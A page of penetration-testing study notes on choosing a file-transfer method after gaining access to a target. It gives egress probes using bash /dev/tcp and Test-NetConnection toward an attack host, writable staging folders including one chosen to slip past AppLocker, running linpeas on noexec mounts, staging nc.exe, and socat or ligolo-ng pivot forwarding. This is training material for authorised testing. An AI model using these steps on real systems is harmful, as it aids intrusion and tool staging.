Choosing a Method
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
Move a file over a connection that already works. A shell session you hold comes first. HTTP to your attack host comes next, because firewalls allow outbound web traffic most often. Base64 through the terminal is the last resort, for a host with no network path to you.
Your attack host is 10.10.14.20 in every example. Check the hash on both ends after each transfer. Encrypt client data in transit (Protected Transfers). What defenders see is in Detection & Evasion.
Try order
| # | Method | Needs | Page |
|---|---|---|---|
| 1 | The session’s own transfer: evil-winrm, scp, RDP drive, PowerShell remoting |
A WinRM, SSH, or RDP session | Session Transfers |
| 2 | HTTP download from your web server | Outbound TCP to you, and curl, wget, or PowerShell |
Windows, Linux |
| 3 | SMB copy from your share | A Windows target and outbound TCP 445 | Windows Transfers |
| 4 | HTTP upload to your upload server | Same as 2 | Serving Files |
| 5 | Raw TCP with nc, ncat, or bash /dev/tcp |
One open TCP port in either direction | Linux Transfers |
| 6 | An interpreter on the box: Python, PHP, Perl, Ruby, cscript |
The interpreter | Code One-Liners |
| 7 | WebDAV or FTP | Outbound TCP 80 or 21 | Serving Files |
| 8 | Base64 copy and paste | A terminal. Small files only | Session Transfers |
If a download times out, try the same method on port 80 or 443 before you move down a row.
Check egress
Find the ports the target can reach on your attack host. Watch for incoming connection attempts:
sudo tcpdump -ni tun0 "src host $TARGET and tcp[tcpflags] & tcp-syn != 0" # show connection attempts from the target-n skips name lookups. -i tun0 listens on the VPN interface. The filter shows only the first packet (SYN) of each connection from the target. A SYN arrives even when nothing listens on that port.
Try several ports from a Linux target:
# open a TCP connection to each portfor p in 21 53 80 443 445 8000; do timeout 1 bash -c "echo > /dev/tcp/10.10.14.20/$p"; doneTry several ports from a Windows target:
80,443,445,8000 | % { Test-NetConnection 10.10.14.20 -Port $_ -InformationLevel Quiet } # test each port% is the alias of ForEach-Object. -InformationLevel Quiet prints True or False only.
Every port that shows in tcpdump is open outbound. Serve your files on one of them.
Writable folders
| OS | Folder | Note |
|---|---|---|
| Linux | /dev/shm |
Memory-backed. Empty after a reboot |
| Linux | /tmp, /var/tmp |
/var/tmp keeps its files after a reboot |
| Windows | C:\Users\Public |
All users can write |
| Windows | C:\Windows\Temp |
All users can write |
| Windows | C:\Windows\Tasks |
All users can write. The default AppLocker rules allow programs under C:\Windows to run |
A Linux folder mounted with noexec does not run binaries. Check the mount options:
findmnt -no OPTIONS /dev/shm # mount options, look for noexecA script still runs through its interpreter:
bash /dev/shm/linpeas.sh # run a script on a noexec mountPut a binary in another folder.
Check the hash
Compare the hash on both ends. A broken paste or a cut-off download changes it.
md5sum linpeas.sh # MD5 on LinuxGet-FileHash C:\Users\Public\nc.exe -Algorithm MD5 # MD5 in PowerShellREM MD5 in cmdcertutil -hashfile C:\Users\Public\nc.exe MD5Get-FileHash uses SHA256 by default. -Algorithm MD5 gives the same value as md5sum, in uppercase.
Through a pivot
A host in an internal network often has no route to your attack host. Forward a port on the pivot to your web server, then download from the pivot’s address.
With ligolo-ng, add a listener on the agent:
listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:8000 --tcp # agent port 8000 to attack host port 8000The internal host downloads from http://<pivot-ip>:8000/.
With socat on a Linux pivot:
socat TCP-LISTEN:8000,fork TCP:10.10.14.20:8000 # pivot port 8000 to your web serverfork accepts more than one connection.